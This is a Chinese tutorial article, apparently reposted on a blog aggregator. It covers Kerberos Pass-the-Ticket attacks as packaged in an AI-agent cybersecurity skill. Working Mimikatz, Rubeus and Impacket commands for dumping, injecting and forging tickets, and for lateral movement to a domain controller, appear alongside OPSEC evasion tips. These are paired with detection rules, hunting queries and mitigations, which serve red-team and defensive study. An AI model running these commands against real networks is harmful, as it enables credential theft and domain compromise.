news 2026/9/12 17:02:14

Anthropic-Cybersecurity-Skills 实战指南:Pass-the-Ticket 攻击的技术标准、检测指标与防御映射

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Anthropic-Cybersecurity-Skills 实战指南:Pass-the-Ticket 攻击的技术标准、检测指标与防御映射

Anthropic-Cybersecurity-Skills 实战指南:Pass-the-Ticket 攻击的技术标准、检测指标与防御映射

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

本篇技术指南以conducting-pass-the-ticket-attack技能的框架标准参考文档为核心,系统讲解 Pass-the-Ticket(PtT)攻击在 MITRE ATT&CK、NIST SP 800-171、CIS Controls 等框架中的技术定位,以及 Kerberos 票据机制与 Windows 安全事件检测指标。文章同时结合该技能目录下的工作流、自动化脚本与检测 Agent 源码,给出从票据提取、注入到横向移动的完整实战流程与可落地的检测/防御方案。读完本文,你将掌握 PtT 攻击的完整战术链条、Mimikatz/Rubeus/Impacket 的核心操作命令、基于 Event ID 4768/4769/4770/4771 的检测规则,以及 Credential Guard、Protected Users 等纵深防御手段。

背景:PtT 在认证替代材料技术家族中的定位

Pass-the-Ticket 属于"使用替代认证材料"这一技术门类。与 Pass-the-Hash(传递哈希)不同,PtT 不依赖密码或哈希,而是直接盗用并重放目标用户已获发的 Kerberos 票据(TGT 或 TGS),从而以票据持有者身份访问服务,全程无需知晓其密码。

在 SKILL.md 的定义中,该技能适用于"从受控主机内存(LSASS)中提取 Kerberos TGT/TGS 票据,并将其注入另一会话以冒充票据所有者"这一场景,属于红队后渗透(post-exploitation)与横向移动的典型动作,同时也可用于验证针对票据窃取与重用的检测能力。该技能的前置要求包括:熟悉红队概念与工具、具备可安全执行测试的实验室环境、Python 3.8+ 及必要依赖、以及任何测试活动的明确授权。

一、MITRE ATT&CK 技术映射:PtT 攻击链的战术坐标

[references/standards.md](https://link.gitcode.com/i/d8319cfa35951c8f7356a01a9d94c3f2)文档将 PtT 攻击链映射到 4 个 ATT&CK 技术节点:

Technique IDNameTactic
T1550.003Use Alternate Authentication Material: Pass the TicketLateral Movement
T1003.001OS Credential Dumping: LSASS MemoryCredential Access
T1558Steal or Forge Kerberos TicketsCredential Access
T1021.002Remote Services: SMB/Windows Admin SharesLateral Movement

从攻击链视角看,这 4 个节点恰好构成完整闭环:

  1. T1003.001(LSASS 内存凭据转储)——攻击起点。从受控主机的 LSASS 进程内存中提取 Kerberos 票据,是凭据访问(Credential Access)阶段的动作;
  2. T1558(窃取或伪造 Kerberos 票据)——中间环节。盗取现有票据(TGT/TGS)或伪造票据(Golden Ticket / Silver Ticket);
  3. T1550.003(使用替代认证材料:Pass the Ticket)——核心手法。将盗取的票据注入攻击者会话;
  4. T1021.002(通过 SMB/Windows 管理共享远程服务)——落地动作。借助注入的票据身份访问远程系统的管理共享,实现横向移动。

在技能目录的[SKILL.md](https://link.gitcode.com/i/4477116071a39c23a65a1a7773a05780)中,该映射被进一步细化为 YAML frontmatter,同时关联了防御侧框架:

mitre_attack: - T1550.003 - T1558.003 - T1078 nist_csf: - ID.RA-01 - GV.OV-02 - DE.AE-07 d3fend_techniques: - Token Binding - Execution Isolation - Restore Access - Application Protocol Command Analysis - Process Termination

注意mitre_attack中额外列出的T1078(有效账户)T1558.003(Kerberoasting)——前者指票据注入后以合法账户身份行动,后者则点出服务票据的另一条窃取路径,说明该技能覆盖的不只是单一重放动作,而是围绕 Kerberos 凭据的完整攻防面。防御侧的 D3FEND 技术(Token Binding、Execution Isolation 等)为后文防御章节提供了框架级对策锚点。

二、Kerberos 票据机制:TGT 与 TGS 的核心参数

理解 PtT 必须先理解 Kerberos 的两类票据。[standards.md](https://link.gitcode.com/i/d8319cfa35951c8f7356a01a9d94c3f2)给出了核心参数对照:

TicketPurposeLifetimeEncryption
TGT (Ticket Granting Ticket)Authenticates to KDC for TGS requests10 hours defaultkrbtgt NTLM hash
TGS (Ticket Granting Service)Authenticates to specific service10 hours defaultService account hash

关键解读:

  • TGT是用户向 KDC(密钥分发中心)申请服务票据时的"通行证",由域控以krbtgt 账户的哈希加密。攻击者拿到高权限用户的 TGT(如 Domain Admin 的 TGT)后,即可在票据有效期内持续向 KDC 申请任意服务的 TGS;
  • TGS是针对特定服务(如 CIFS、LDAP、HTTP)的票据,由服务账户哈希加密。攻击者可以定向盗取目标服务(如域控的 CIFS 票据)的 TGS 来实现精准横向移动;
  • 两者默认生命周期均为10 小时,这意味着从 LSASS 转储出的票据在当日内都具备可用性。这也解释了为何 workflows.md 的 OPSEC 提示将"票据有有限生命周期(TGT 默认 10 小时)"列为首要注意事项。

在 api-reference.md 中,与票据加密类型相关的检测常量进一步细化为:

ValueAlgorithmConcern
0x17RC4-HMACDowngrade attack indicator
0x12AES-256Expected modern encryption
0x11AES-128Acceptable encryption

0x17(RC4-HMAC)是检测黄金票据/银票据的关键信号:现代域环境默认应使用 AES 加密(0x12/0x11),若出现 RC4 加密的 TGT/TGS 请求,往往意味着攻击者使用 RC4 密钥(NTLM 哈希)伪造了票据,或试图降级加密协议。检测 Agent([scripts/agent.py](https://link.gitcode.com/i/b14ed0c4ed955abd029b557b7ce7e600))正是基于这一常量实现自动告警(详见后文)。

三、PtT 攻击完整工作流:从票据提取到横向移动

3.1 三阶段工作流总览

[SKILL.md](https://link.gitcode.com/i/4477116071a39c23a65a1a7773a05780)将整个攻击过程划分为三个阶段:

Phase 1: Ticket Extraction(票据提取)

  1. 在目标工作站获取本地管理员权限
  2. 使用 Mimikatz 或 Rubeus 从 LSASS 内存转储 Kerberos 票据
  3. 以 .kirbi 格式(Mimikatz)或 base64 格式(Rubeus)导出票据
  4. 甄别高价值票据(Domain Admin TGT、指向关键系统的服务票据)

Phase 2: Ticket Injection(票据注入)

  1. 清除攻击者会话中现有的 Kerberos 票据
  2. 将盗取票据导入/注入当前会话
  3. 验证票据已加载且有效
  4. 使用注入票据访问目标资源

Phase 3: Lateral Movement(横向移动)

  1. 以盗取票据身份访问远程系统
  2. 以被冒充用户身份执行操作
  3. 从已访问系统收集更多凭据
  4. 记录成功横向移动的证据

3.2 工具矩阵与核心命令

[SKILL.md](https://link.gitcode.com/i/4477116071a39c23a65a1a7773a05780)给出了核心工具对照表:

ToolPurposeCommand
MimikatzTicket export/importsekurlsa::tickets /export, kerberos::ptt
RubeusTicket dumping and injectiondump, ptt, tgtdeleg
Impacket ticketConverterConvert between formatsticketConverter.py ticket.kirbi ticket.ccache
Impacket psexec/smbexecRemote execution with ticketKRB5CCNAME=ticket.ccache psexec.py

[workflows.md](https://link.gitcode.com/i/6cf6cc3d681574896d6b049f3c50325c)进一步将工具使用细化为 4 个可复制的实战工作流:

Workflow 1:Mimikatz 提取与注入(Windows 侧)

# 从 LSASS 转储所有 Kerberos 票据 mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" # 列出导出的 .kirbi 文件 dir *.kirbi # 甄别高价值票据(Domain Admin TGT) # 查找形如 [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbi 的文件

注入前必须先清除会话中现有票据,避免旧票据干扰身份冒充:

mimikatz.exe "kerberos::purge" "exit" # 或使用系统自带工具 klist purge # 导入盗取的票据 mimikatz.exe "kerberos::ptt [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbi" "exit" # 验证票据已加载 klist

票据加载成功后即可访问目标资源:

# 以被冒充用户身份访问文件共享 dir \\dc01.domain.local\c$ # 远程执行命令 PsExec.exe \\dc01.domain.local cmd.exe # 访问管理共享 copy payload.exe \\dc01.domain.local\c$\windows\temp\

Workflow 2:Rubeus 票据操作(Windows 侧)

# 转储所有票据(需要本地管理员权限) .\Rubeus.exe dump # 按 LUID 转储指定登录会话的票据 .\Rubeus.exe dump /luid:0x3e4 # 提取当前用户 TGT(无需管理员权限,利用 TGT 委派技巧) .\Rubeus.exe tgtdeleg # 从 base64 注入票据 .\Rubeus.exe ptt /ticket:doIFmjCC...base64ticket... # 使用票据创建"牺牲进程"(不污染当前会话,OPSEC 更佳) .\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /ptt /ticket:base64ticket

createnetonly是 Rubeus 的重要 OPSEC 特性:它启动一个仅使用注入票据的全新进程,避免覆盖会话中已有的合法票据,降低被发现的概率。

Workflow 3:Linux 侧 PtT(Impacket)

# 将 .kirbi 转换为 .ccache impacket-ticketConverter ticket.kirbi ticket.ccache # 设置票据环境变量 export KRB5CCNAME=ticket.ccache # 使用 Impacket 工具链进行横向移动 impacket-psexec -k -no-pass domain.local/administrator@dc01.domain.local impacket-smbexec -k -no-pass domain.local/administrator@dc01.domain.local impacket-wmiexec -k -no-pass domain.local/administrator@dc01.domain.local impacket-secretsdump -k -no-pass domain.local/administrator@dc01.domain.local # 列出可访问的共享 impacket-smbclient -k -no-pass domain.local/administrator@dc01.domain.local

-k -no-pass组合是 Impacket 使用 Kerberos 票据认证的关键参数:-k表示使用 Kerberos 认证,-no-pass表示不要求密码(票据中已包含认证信息),配合KRB5CCNAME环境变量指向票据文件。

Workflow 4:Silver Ticket(伪造 TGS)

# Mimikatz 创建银票据(需要服务账户 NTLM 哈希) mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:NTLM_HASH /ptt" "exit" # Rubeus 创建银票据 .\Rubeus.exe silver /service:cifs/server.domain.local /rc4:NTLM_HASH /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /ptt

Silver Ticket 与盗票重放的区别在于它完全不经过 KDC——攻击者使用已知的服务账户 NTLM 哈希(RC4)直接离线伪造 TGS 并注入会话,因此绕过 KDC 审计,检测难度显著更高。

3.3 OPSEC 注意事项

[workflows.md](https://link.gitcode.com/i/6cf6cc3d681574896d6b049f3c50325c)总结了执行 PtT 时的关键 OPSEC 考量:

  1. 盗取票据有有限生命周期(TGT 默认 10 小时),需在有效窗口内完成利用;
  2. TGT 从不同 IP 重放可能触发高级检测(这正是 Event ID 4770 的核心检测逻辑);
  3. Silver Ticket 完全绕过 KDC,更难被检测;
  4. 使用 Rubeuscreatenetonly避免覆盖合法票据;
  5. 关注 Credential Guard——它会保护内存中的 Kerberos 票据;
  6. 部分 EDR 方案会监控票据注入行为。

四、检测指标:Windows 安全事件 ID 与自动检测 Agent

4.1 核心事件 ID 对照

[standards.md](https://link.gitcode.com/i/d8319cfa35951c8f7356a01a9d94c3f2)给出了 PtT 检测的核心事件 ID 表:

Event IDDescriptionPtT Indicator
4768TGT RequestUnusual source IP for known user
4769TGS RequestService access from unexpected host
4770TGT RenewalRenewal from different IP than original
4771Kerberos Pre-Auth FailedMay indicate ticket reuse attempts

结合 api-reference.md 的补充,事件 ID 的检测价值可以进一步细化:

Event IDDescriptionRelevance
4768Kerberos TGT requestGolden ticket detection (RC4 = 0x17)
4769Kerberos service ticket requestSilver ticket / Kerberoasting
4770Kerberos service ticket renewedTicket reuse indicator
4771Kerberos pre-auth failedPassword spray detection
4624Successful logonCorrelate with ticket usage

4.2 检测 Agent 的自动化实现

仓库中的[scripts/agent.py](https://link.gitcode.com/i/b14ed0c4ed955abd029b557b7ce7e600)将上述检测指标实现为可直接运行的 Python 检测 Agent,其核心检测逻辑如下:

for event in events: eid = str(event.get("EventID", "")) if eid == "4768": if event.get("TicketEncryptionType") == "0x17": detections.append({... "type": "TGT_request_rc4", "severity": "HIGH", "note": "RC4 TGT request may indicate golden ticket", ...}) elif eid == "4769": if event.get("TicketEncryptionType") == "0x17": detections.append({... "type": "service_ticket_rc4", "severity": "MEDIUM", "note": "RC4 service ticket — potential Kerberoasting or PTT", ...}) elif eid == "4624": if event.get("LogonType") == "3" and event.get("AuthenticationPackageName") == "Kerberos": detections.append({... "type": "network_logon_kerberos", ...})

该 Agent 将检测规则落地为三个层次:

  1. 事件分析:4768 出现 RC4 加密的 TGT 请求标记为 HIGH 严重度(黄金票据信号);4769 出现 RC4 服务票据标记为 MEDIUM(Kerberoasting 或 PtT 信号);4624 的 Kerberos 网络登录(LogonType 3)标记为 INFO 用于关联分析;
  2. Sigma 规则生成:自动生成两条检测规则——"Pass-the-Ticket via RC4 Encryption Downgrade"(检测 EventID 4768/4769 + TicketEncryptionType 0x17,映射attack.lateral_movement/attack.t1550.003)与"Anomalous Kerberos TGT Request from Non-Domain Controller"(排除本地回环地址,映射attack.credential_access/attack.t1558);
  3. 狩猎查询生成:同时输出 Splunk 与 KQL 两种查询语法,例如:
# Splunk index=wineventlog EventCode=4768 TicketEncryptionType=0x17 | stats count by Account_Name, src_ip index=wineventlog EventCode=4769 ServiceName!="krbtgt" TicketEncryptionType=0x17 | table _time Account_Name ServiceName # KQL SecurityEvent | where EventID == 4768 | where TicketEncryptionType == "0x17" | summarize count() by TargetAccount, IpAddress SecurityEvent | where EventID == 4769 | where TicketEncryptionType == "0x17" | project TimeGenerated, TargetAccount, ServiceName

运行方式:python agent.py --log-file events.json --output ptt_detection_report.json,其中--log-file接受 Windows 安全日志的 JSON 导出。

五、框架对齐:NIST SP 800-171 与 CIS Controls

[standards.md](https://link.gitcode.com/i/d8319cfa35951c8f7356a01a9d94c3f2)还将 PtT 攻击与两个合规框架对齐,用于指导防护侧的控制项落地:

5.1 NIST SP 800-171 控制项

  • 3.5.1:识别系统用户及代表用户行事的进程——对应清理不必要的服务账户、管理票据缓存中的高权限主体;
  • 3.5.2:允许访问前对身份进行认证——对应加强 Kerberos 预认证(禁用可预认证绕过),确保访问控制建立在真实认证基础上;
  • 3.1.1:将系统访问限制在授权用户范围内——对应最小权限原则与网络分段,压缩票据被盗后的横向移动半径。

这三项控制分别从"主体识别""认证强制""访问限制"三个层面防御 PtT:即使票据被盗,也必须满足身份认证与访问授权的前置条件,从而缩小票据重放的攻击面。

5.2 CIS Controls

  • Control 6: Access Control Management——访问控制管理,对应通过 Protected Users 组、最小权限、特权账户隔离等手段减少高价值票据的暴露面;
  • Control 8: Audit Log Management——审计日志管理,其核心子项即是"监控 Kerberos 认证事件",对应 Event ID 4768/4769/4770/4771 的持续采集与分析。

在技能目录更宏观的层面,SKILL.md 的 frontmatter 还将该技能映射到 NIST CSF 2.0 的 ID.RA-01(识别风险)、GV.OV-02(治理监督)与 DE.AE-07(异常活动分析),说明该技能同时服务于风险识别、治理监督与检测响应三类安全职能。

六、验证标准与报告模板

6.1 技能验证清单

[SKILL.md](https://link.gitcode.com/i/4477116071a39c23a65a1a7773a05780)给出了该技能执行成功的验收标准:

  • Kerberos tickets extracted from compromised host
  • Tickets injected into attacker session
  • Lateral movement demonstrated using stolen tickets
  • Evidence captured for reporting

6.2 自动化报告生成

仓库中的[scripts/process.py](https://link.gitcode.com/i/37786451b7306015e6b239d248dbf159)将整个 PtT 流程封装为多模式 CLI 工具,支持extractinjectlateralconvertanalyzereport六种模式:

python process.py --mode extract --target workstation01 python process.py --mode convert --input ticket.kirbi --output ticket.ccache python process.py --mode lateral --ticket ticket.ccache --target dc01.domain.local python process.py --mode report --output ptt_report.md

值得关注的两个内置能力:

  1. 票据格式转换convert模式):基于impacket.krb5.ccache.CCache实现 .kirbi 与 .ccache 双向转换,与impacket-ticketConverter功能等价,但集成了 rich 终端美化输出与错误降级提示(未安装 impacket 时提示手动命令);
  2. .kirbi 票据解析analyze模式):通过基础 ASN.1 结构识别(文件头\x76\x82/\x61\x82)与可见字符串提取,自动推断票据的 realm 与 service 字段,帮助快速甄别高价值票据。

report模式生成的报告遵循[assets/template.md](https://link.gitcode.com/i/7c3c0d28ea296be5c76756bc9d9c7021)的框架,包含文档控制信息、票据提取明细(来源主机/方法/高价值票据)、票据详情(用户/类型/服务/过期时间/加密)、横向移动结果(目标/访问级别/方法/证据)与推荐整改措施,并包含 MITRE ATT&CK 映射表,可直接用于红队交付物。

6.3 报告中的防御建议

无论是自动化报告还是模板,均收敛为以下七条核心防御建议:

  1. 启用Credential Guard,保护内存中的 Kerberos 票据(使 LSASS 转储难以提取票据);
  2. 对特权账户实施Protected Users 安全组(禁用 RC4 加密、延长票据重认证频率);
  3. 部署LSASS 保护(RunAsPPL),阻止非特权进程访问 LSASS;
  4. 监控Event ID 4769的异常服务票据请求;
  5. 缩短特权账户的 TGT 生命周期,压缩票据重放的时效窗口;
  6. 实施网络分段,限制横向移动半径(对应 NIST 3.1.1);
  7. 部署具备凭据窃取检测能力的高级 EDR

七、结论

Pass-the-Ticket 攻击的本质,是将"持有票据"等同于"具备身份"的 Kerberos 信任模型加以滥用。从 MITRE ATT&CK 视角,它横跨凭据访问(T1003.001 / T1558)与横向移动(T1550.003 / T1021.002)两大战术阶段;从检测视角,RC4 加密降级(0x17)与事件 ID 4768/4769/4770/4771 的异常模式是核心抓手;从防御视角,Credential Guard、Protected Users、LSASS 保护与审计日志监控共同构成纵深防线。

本文所依据的[standards.md](https://link.gitcode.com/i/d8319cfa35951c8f7356a01a9d94c3f2)提供了框架层面的技术坐标,而配套的 SKILL.md、workflows.md、api-reference.md 与 scripts/ 目录则提供了从命令执行到自动检测、再到报告生成的一体化支撑,使该技能在红队模拟、紫队检测验证与安全评估场景中均可直接落地。

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/12 17:01:51

GitHub Copilot CLI 场景实战指南:8 个真实工作流挑战的完整拆解

GitHub Copilot CLI 场景实战指南:8 个真实工作流挑战的完整拆解 【免费下载链接】awesome-copilot Community-contributed instructions, agents, skills, and configurations to help you make the most of GitHub Copilot. 项目地址: https://gitcode.com/GitH…

作者头像 李华
网站建设 2026/9/12 17:01:07

多目标烟花算法(MOFWA)原理与应用详解

1. 多目标烟花算法(MOFWA)概述多目标烟花算法(Multi-Objective Fireworks Algorithm, MOFWA)是一种基于群体智能的优化算法,它继承并扩展了传统单目标烟花算法的核心思想。该算法通过模拟烟花爆炸产生火花的过程&#…

作者头像 李华
网站建设 2026/9/12 17:00:50

Next.js 的 CDN 缓存为什么没生效,s-maxage 与按需重验证怎么配合

Next.js 的 CDN 缓存为什么没生效,s-maxage 与按需重验证怎么配合 【免费下载链接】next.js The React Framework 项目地址: https://gitcode.com/GitHub_Trending/next/next.js 在 Next.js 前面加一层 CDN 后,常见的两个症状是:页面在…

作者头像 李华
网站建设 2026/9/12 16:59:28

TSO算法在图像重构中的应用与优化实践

1. 项目概述金枪鱼群优化算法(Tuna Swarm Optimization, TSO)是近年来兴起的一种新型群体智能优化算法,它模拟了金枪鱼群在海洋中的协作捕食行为。这种算法在图像重构领域展现出独特的优势,特别是在处理受损或低质量图像时&#x…

作者头像 李华